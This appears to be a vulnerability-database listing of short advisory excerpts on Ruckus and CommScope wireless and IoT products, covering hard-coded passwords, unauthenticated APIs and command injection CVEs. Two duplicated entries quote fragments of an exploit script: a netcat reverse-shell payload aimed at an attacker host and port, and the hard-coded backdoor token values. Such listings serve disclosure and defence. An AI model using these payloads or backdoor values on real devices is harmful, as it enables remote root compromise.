CommScope Ruckus IoT Controller Unauthenticated API Endpoints

Vulnerability Details Affected Vendor: CommScope Affected Product: Ruckus IoT Controller Affected Version: 1.7.1.0 and earlier Platform: Linux CWE Classification: CWE-306: Missing Authentication for Critical Function CVE ID: CVE-2021-33221 2. Vulnerability Description Three API endpoints for the...

CommScope Ruckus IoT Controller Hard-coded Web Application Administrator Password

Vulnerability Details Affected Vendor: CommScope Affected Product: Ruckus IoT Controller Affected Version: 1.7.1.0 and earlier Platform: Linux CWE Classification: CWE-259: Use of Hard-coded Password CVE ID: CVE-2021-33219 2. Vulnerability Description An undocumented, administrative-level, hard...

Weak Password Vulnerability in ZoneDirector ZD1200 Wireless Controller

ZoneDirector ZD1200 is a wireless controller product from RUCKUS. A weak password vulnerability exists in the ZoneDirector ZD1200 wireless controller, which can be exploited by attackers to obtain sensitive information...

Weak Password Vulnerability in Ruckus 7363 Multimedia Hotzone Wireless AP

The Ruckus 7363 is a wireless product from RUCKUS. A weak password vulnerability exists in the Ruckus 7363 Multimedia Hotzone Wireless AP, which can be exploited by an attacker to log in to the system backend and perform unauthorized operations...

Weak Password Vulnerability in Ruckus Wireless Ruckus T504

The Ruckus T504 is a wireless access point from Ruckus Wireless. The Ruckus Wireless Ruckus T504 suffers from a weak password vulnerability that can be exploited by an attacker to obtain sensitive information...

Weak Password Vulnerability in Ruckus Wireless Ruckus R500

The Ruckus R500 is a wireless access point product from Ruckus Wireless. The Ruckus Wireless Ruckus R500 suffers from a weak password vulnerability that can be exploited by an attacker to obtain sensitive information...

Weak Password Vulnerability in Ruckus Wireless Ruckus 2825

The Ruckus 2825 is a wireless router product from Ruckus Wireless. The Ruckus Wireless Ruckus 2825 suffers from a weak password vulnerability that can be exploited by an attacker to obtain sensitive information...

Weak Password Vulnerability in Ruckus Wireless Ruckus R300

The Ruckus R300 is a wireless access point product from Ruckus Wireless. The Ruckus Wireless Ruckus R300 suffers from a weak password vulnerability that can be exploited by an attacker to obtain sensitive information...

Weak Password Vulnerability in Ruckus Wireless Ruckus R510

The Ruckus R510 is a wireless access point product from Ruckus Wireless. The Ruckus Wireless Ruckus R510 suffers from a weak password vulnerability that can be exploited by an attacker to obtain sensitive information...

Weak Password Vulnerability in Ruckus Wireless Ruckus 7372

The Ruckus 7372 is a wireless access point product from Ruckus Wireless. The Ruckus Wireless Ruckus 7372 suffers from a weak password vulnerability that can be exploited by an attacker to obtain sensitive information...

Weak Password Vulnerability in Ruckus Wireless Ruckus 7781CM

The Ruckus 7781CM is a wireless access point product from Ruckus Wireless. The Ruckus Wireless Ruckus 7781CM suffers from a weak password vulnerability that can be exploited by an attacker to obtain sensitive information...

Weak Password Vulnerability in Ruckus Wireless Ruckus 2811

The Ruckus 2811 is a wireless router product from Ruckus Wireless. The Ruckus Wireless Ruckus 2811 suffers from a weak password vulnerability that can be exploited by an attacker to obtain sensitive information...

Weak Password Vulnerability in Ruckus Wireless Ruckus R310

The Ruckus R310 is a wireless access point product from Ruckus Wireless. The Ruckus Wireless Ruckus R310 suffers from a weak password vulnerability that can be exploited by an attacker to obtain sensitive information...

Ruckus IoT Controller 1.5.1.0.21 Remote Code Execution

Product: Ruckus IoT Controller Ruckus vRIoT Version: &1|nc "+lhost+" "+lport+" /tmp/f; " return payload def generateMagicToken: encdecmethod = 'utf-8' salt = 'nplusServiceAuth' salt = salt.encode"utf8" strkey = 'serviceN1authent' strtoenc = 'TlBMVVMx' return encryptencdecmethod, salt, strkey,...

Ruckus IoT Controller (Ruckus vRIoT) 1.5.1.0.21 - Remote Code Execution

Product: Ruckus IoT Controller Ruckus vRIoT Version: &1|nc "+lhost+" "+lport+" /tmp/f; " return payload def generateMagicToken: encdecmethod = 'utf-8' salt = 'nplusServiceAuth' salt = salt.encode"utf8" strkey = 'serviceN1authent' strtoenc = 'TlBMVVMx' return encryptencdecmethod, salt, strkey,...

Ruckus IoT Controller Web UI Command Injection (CVE-2020-26878)

A remote command injection vulnerability exists in Ruckus IoT Controller Web UI. The vulnerability is due to improper handling of a crafted HTTP request...

Ruckus Networks Ruckus vRioT Trust Management Issues Vulnerability

Ruckus Networks Ruckus vRioT is a software based on Bluetooth, ZigBee, LoRa to realize endpoint connectivity from Ruckus Networks, USA. A trust management issue vulnerability exists in Ruckus Networks Ruckus vRioT versions prior to 1.5.1.0.21. The vulnerability stems from the fact that Ruckus vRi...

CVE-2020-26878

Ruckus through 1.5.1.0.21 is affected by remote command injection. An authenticated user can submit a query to the API /service/v1/createUser endpoint, injecting arbitrary commands that will be executed as root user via web.py...

CVE-2020-26879

Ruckus vRioT through 1.5.1.0.21 has an API backdoor that is hardcoded into validatetoken.py. An unauthenticated attacker can interact with the service API by using a backdoor value as the Authorization header...

CVE-2020-26878

Ruckus through 1.5.1.0.21 is affected by remote command injection. An authenticated user can submit a query to the API /service/v1/createUser endpoint, injecting arbitrary commands that will be executed as root user via web.py...